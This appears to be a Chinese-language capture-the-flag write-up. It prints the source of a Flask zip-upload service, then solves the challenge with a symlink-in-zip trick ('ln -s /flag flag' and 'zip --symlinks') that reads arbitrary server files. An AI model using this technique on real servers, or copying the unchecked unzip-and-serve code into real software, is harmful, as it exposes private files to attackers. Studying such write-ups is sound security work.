题目描述

image.png

解题过程

下载源码

  1. import os
  2. import json
  3. from shutil import copyfile
  4. from flask import Flask,request,render_template,url_for,send_from_directory,make_response,redirect
  5. from werkzeug.middleware.proxy_fix import ProxyFix
  6. from flask import jsonify
  7. from hashlib import md5
  8. import signal
  9. from http.server import HTTPServer, SimpleHTTPRequestHandler
  10. os.environ['TEMP']='/dev/shm'
  11. app = Flask("access")
  12. app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1 ,x_proto=1)
  13. @app.route('/',methods=['POST', 'GET'])
  14. def index():
  15. if request.method == 'POST':
  16. f=request.files['file']
  17. os.system("rm -rf /dev/shm/zip/media/*")
  18. path=os.path.join("/dev/shm/zip/media",'tmp.zip')
  19. f.save(path)
  20. os.system('timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/')
  21. os.system('rm /dev/shm/zip/media/tmp.zip')
  22. return redirect('/media/')
  23. response = render_template('index.html')
  24. return response
  25. @app.route('/media/',methods=['GET'])
  26. @app.route('/media',methods=['GET'])
  27. @app.route('/media/<path>',methods=['GET'])
  28. def media(path=""):
  29. npath=os.path.join("/dev/shm/zip/media",path)
  30. if not os.path.exists(npath):
  31. return make_response("404",404)
  32. if not os.path.isdir(npath):
  33. f=open(npath,'rb')
  34. response = make_response(f.read())
  35. response.headers['Content-Type'] = 'application/octet-stream'
  36. return response
  37. else:
  38. fn=os.listdir(npath)
  39. fn=[".."]+fn
  40. f=open("templates/template.html")
  41. x=f.read()
  42. f.close()
  43. ret="<h1>文件列表:</h1><br><hr>"
  44. for i in fn:
  45. tpath=os.path.join('/media/',path,i)
  46. ret+="<a href='"+tpath+"'>"+i+"</a><br>"
  47. x=x.replace("HTMLTEXT",ret)
  48. return x
  49. os.system('mkdir /dev/shm/zip')
  50. os.system('mkdir /dev/shm/zip/media')
  51. app.run(host="0.0.0.0",port=8080,debug=False,threaded=True)

本地调试Web程序
image.png
知道Flag的位置,可以使用ln软链接来获取Flag

  1. ln -s /flag flag
  2. zip --symlinks flag.zip ./*

上传链接后的 flag.zip, 会在页面下解压 flag文件指向根目录下的 flag
image.png
image.png